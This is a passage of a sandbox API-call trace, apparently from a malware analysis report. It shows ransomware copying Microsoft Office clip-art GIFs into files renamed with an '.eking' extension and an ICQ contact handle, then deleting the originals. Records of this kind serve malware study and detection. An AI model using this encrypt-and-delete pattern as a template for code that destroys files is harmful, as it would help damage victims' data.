returned 1 [0254.173] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0254.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x38c [0254.174] ReadFile (in: hFile=0x394, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xc44, lpOverlapped=0x0) returned 1 [0254.177] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xc50, lpOverlapped=0x0) returned 1 [0254.178] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0254.178] CloseHandle (hObject=0x394) returned 1 [0254.178] CloseHandle (hObject=0x38c) returned 1 [0254.178] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 0 [0254.179] SetEvent (hEvent=0x2b8) returned 1 [0254.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0254.180] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=12482) returned 1 [0254.180] CloseHandle (hObject=0x38c) returned 1 [0254.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 0x220 [0254.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 0x220 [0254.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0254.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0254.884] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0254.884] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0254.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0254.940] ReadFile (in: hFile=0x38c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x30c2, lpOverlapped=0x0) returned 1 [0254.942] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x30d0, lpOverlapped=0x0) returned 1 [0254.944] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0254.944] CloseHandle (hObject=0x38c) returned 1 [0254.944] CloseHandle (hObject=0x348) returned 1 [0254.945] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 0 [0254.945] SetEvent (hEvent=0x2b8) returned 1 [0254.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0254.947] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=5315) returned 1 [0254.947] CloseHandle (hObject=0x348) returned 1 [0254.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 0x220 [0254.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 0x220 [0254.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0254.949] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0254.949] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0254.949] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0254.949] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x38c [0254.950] ReadFile (in: hFile=0x348, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x14c3, lpOverlapped=0x0) returned 1 [0254.952] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x14d0, lpOverlapped=0x0) returned 1 [0254.953] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0254.954] CloseHandle (hObject=0x348) returned 1 [0254.954] CloseHandle (hObject=0x38c) returned 1 [0254.954] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 0 [0254.955] SetEvent (hEvent=0x2b8) returned 1 [0254.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0254.957] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=4955) returned 1 [0254.957] CloseHandle (hObject=0x38c) returned 1 [0254.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 0x220 [0254.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 0x220 [0254.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0254.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0254.959] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0254.959] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0254.959] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0254.959] ReadFile (in: hFile=0x38c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x135b, lpOverlapped=0x0) returned 1 [0254.962] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1360, lpOverlapped=0x0) returned 1 [0254.963] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0254.963] CloseHandle (hObject=0x38c) returned 1 [0254.963] CloseHandle (hObject=0x348) returned 1 [0254.964] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 0 [0254.964] SetEvent (hEvent=0x2b8) returned 1 [0254.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0254.965] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=5030) returned 1 [0254.965] CloseHandle (hObject=0x348) returned 1 [0254.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 0x220 [0254.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 0x220 [0254.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0254.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0254.967] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0254.967] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0254.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x38c [0254.972] ReadFile (in: hFile=0x348, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x13a6, lpOverlapped=0x0) returned 1 [0254.976] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x13b0, lpOverlapped=0x0) returned 1 [0254.978] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0254.978] CloseHandle (hObject=0x348) returned 1 [0254.979] CloseHandle (hObject=0x38c) returned 1 [0254.980] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 0 [0254.980] SetEvent (hEvent=0x2b8) returned 1 [0254.980] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0254.981] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1146) returned 1 [0254.981] CloseHandle (hObject=0x38c) returned 1 [0254.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 0x220 [0254.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 0x220 [0254.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0254.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0254.982] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0254.982] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0254.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0254.984] ReadFile (in: hFile=0x38c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x47a, lpOverlapped=0x0) returned 1 [0255.264] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x480, lpOverlapped=0x0) returned 1 [0255.265] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0255.265] CloseHandle (hObject=0x38c) returned 1 [0255.266] CloseHandle (hObject=0x348) returned 1 [0255.266] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 0 [0255.266] SetEvent (hEvent=0x2b8) returned 1 [0255.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0255.268] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=13254) returned 1 [0255.268] CloseHandle (hObject=0x348) returned 1 [0255.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 0x220 [0255.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 0x220 [0255.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0255.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0255.269] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0255.269] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0255.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x38c [0255.270] ReadFile (in: hFile=0x348, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x33c6, lpOverlapped=0x0) returned 1 [0255.274] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x33d0, lpOverlapped=0x0) returned 1 [0255.276] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0255.277] CloseHandle (hObject=0x348) returned 1 [0255.277] CloseHandle (hObject=0x38c) returned 1 [0255.277] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 0 [0255.278] SetEvent (hEvent=0x2b8) returned 1 [0255.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0255.280] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=8582) returned 1 [0255.280] CloseHandle (hObject=0x38c) returned 1 [0255.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 0x220 [0255.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 0x220 [0255.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0255.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0255.281] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0255.281] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0255.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0255.283] ReadFile (in: hFile=0x38c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, 